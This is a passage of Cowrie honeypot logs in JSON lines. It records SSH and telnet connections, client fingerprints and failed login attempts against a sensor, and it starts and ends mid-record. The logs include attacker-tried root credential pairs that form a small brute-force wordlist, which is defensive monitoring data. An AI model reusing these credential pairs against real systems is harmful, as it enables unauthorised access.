rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:44.485317Z","src_ip":"43.156.39.221","session":"98d53c2a146e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:45.068584Z","src_ip":"102.88.137.145","session":"5a8f252f2ae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2081","message":"login attempt [root/2081] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:45.473387Z","src_ip":"43.156.39.221","session":"98d53c2a146e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:46.714274Z","src_ip":"43.156.39.221","session":"98d53c2a146e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":35774,"dst_ip":"10.17.0.5","dst_port":22,"session":"092cc9675cf6","protocol":"ssh","message":"New connection: 176.32.39.21:35774 (10.17.0.5:22) [session: 092cc9675cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:48.896224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:48.900686Z","src_ip":"176.32.39.21","session":"092cc9675cf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:49.020947Z","src_ip":"176.32.39.21","session":"092cc9675cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:49.382745Z","src_ip":"176.32.39.21","session":"092cc9675cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:50.506713Z","src_ip":"176.32.39.21","session":"092cc9675cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.584739208221436,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:52.553461Z","src_ip":"192.119.13.58","session":"697221e78ab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":46210,"dst_ip":"10.17.0.5","dst_port":22,"session":"d62980ca07a2","protocol":"ssh","message":"New connection: 89.110.87.138:46210 (10.17.0.5:22) [session: d62980ca07a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:54.680945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:54.685823Z","src_ip":"89.110.87.138","session":"d62980ca07a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:54.808877Z","src_ip":"89.110.87.138","session":"d62980ca07a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"muiemulta","message":"login attempt [root/muiemulta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:55.334532Z","src_ip":"89.110.87.138","session":"d62980ca07a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:56.467084Z","src_ip":"89.110.87.138","session":"d62980ca07a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35860,"dst_ip":"10.17.0.5","dst_port":23,"session":"e04b849b76f4","protocol":"telnet","message":"New connection: 192.119.13.58:35860 (10.17.0.5:23) [session: e04b849b76f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:57.659944Z"}
{"eventid":"cowrie.session.closed","duration":42.93954539299011,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:58.656399Z","src_ip":"192.119.13.58","session":"a41c807333a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.23510551452637,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:19.349722Z","src_ip":"192.119.13.58","session":"aa1d4a17e201","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47306,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea296adb1466","protocol":"telnet","message":"New connection: 192.119.13.58:47306 (10.17.0.5:23) [session: ea296adb1466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:22.715533Z"}
{"eventid":"cowrie.session.closed","duration":0.006165981292724609,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:22.721511Z","src_ip":"192.119.13.58","session":"ea296adb1466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":93.95026993751526,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:26.631900Z","src_ip":"186.195.16.41","session":"13f98d444ce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41068,"dst_ip":"10.17.0.5","dst_port":23,"session":"86b5b81efd88","protocol":"telnet","message":"New connection: 192.119.13.58:41068 (10.17.0.5:23) [session: 86b5b81efd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:36.275774Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34892,"dst_ip":"10.17.0.5","dst_port":23,"session":"eef3b3346b3f","protocol":"telnet","message":"New connection: 192.119.13.58:34892 (10.17.0.5:23) [session: eef3b3346b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:42.150881Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":57492,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7690a05faff","protocol":"ssh","message":"New connection: 62.133.62.83:57492 (159.203.135.109:22) [session: e7690a05faff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:44.820377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:44.825899Z","src_ip":"62.133.62.83","session":"e7690a05faff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:44.904880Z","src_ip":"62.133.62.83","session":"e7690a05faff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"midnight","message":"login attempt [root/midnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:45.174871Z","src_ip":"62.133.62.83","session":"e7690a05faff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:46.262813Z","src_ip":"62.133.62.83","session":"e7690a05faff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50544,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5b4f4c94d0f","protocol":"telnet","message":"New connection: 192.119.13.58:50544 (10.17.0.5:23) [session: c5b4f4c94d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:46.483276Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":35854,"dst_ip":"159.203.135.109","dst_port":22,"session":"25f37c43cefe","protocol":"ssh","message":"New connection: 176.65.148.108:35854 (159.203.135.109:22) [session: 25f37c43cefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:47.537009Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:47.621928Z","src_ip":"176.65.148.108","session":"25f37c43cefe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":35866,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b35bea731ad","protocol":"ssh","message":"New connection: 176.65.148.108:35866 (159.203.135.109:22) [session: 6b35bea731ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:47.701046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:47.706413Z","src_ip":"176.65.148.108","session":"6b35bea731ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:47.789101Z","src_ip":"176.65.148.108","session":"6b35bea731ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aa","password":"aa","message":"login attempt [aa/aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:48.037366Z","src_ip":"176.65.148.108","session":"6b35bea731ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:49.123754Z","src_ip":"176.65.148.108","session":"6b35bea731ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58860,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5fc7c52feee","protocol":"ssh","message":"New connection: 103.176.20.57:58860 (159.203.135.109:22) [session: d5fc7c52feee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:52.930282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:52.936483Z","src_ip":"103.176.20.57","session":"d5fc7c52feee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:53.180296Z","src_ip":"103.176.20.57","session":"d5fc7c52feee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:53.908982Z","src_ip":"103.176.20.57","session":"d5fc7c52feee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:55.161237Z","src_ip":"103.176.20.57","session":"d5fc7c52feee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.77716326713562,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:55.437013Z","src_ip":"192.119.13.58","session":"e04b849b76f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60704,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e0b4a5292dd","protocol":"telnet","message":"New connection: 192.119.13.58:60704 (10.17.0.5:23) [session: 2e0b4a5292dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:56.606681Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":3938,"dst_ip":"10.17.0.5","dst_port":22,"session":"b49a8be21a4f","protocol":"ssh","message":"New connection: 89.110.87.138:3938 (10.17.0.5:22) [session: b49a8be21a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:58.563536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:58.568998Z","src_ip":"89.110.87.138","session":"b49a8be21a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:58.679696Z","src_ip":"89.110.87.138","session":"b49a8be21a4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq123","message":"login attempt [root/qqq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:08:59.151024Z","src_ip":"89.110.87.138","session":"b49a8be21a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:00.264881Z","src_ip":"89.110.87.138","session":"b49a8be21a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":56404,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ded69866984","protocol":"ssh","message":"New connection: 43.156.39.221:56404 (10.17.0.5:22) [session: 5ded69866984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:01.443463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:09:01.456609Z","src_ip":"43.156.39.221","session":"5ded69866984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 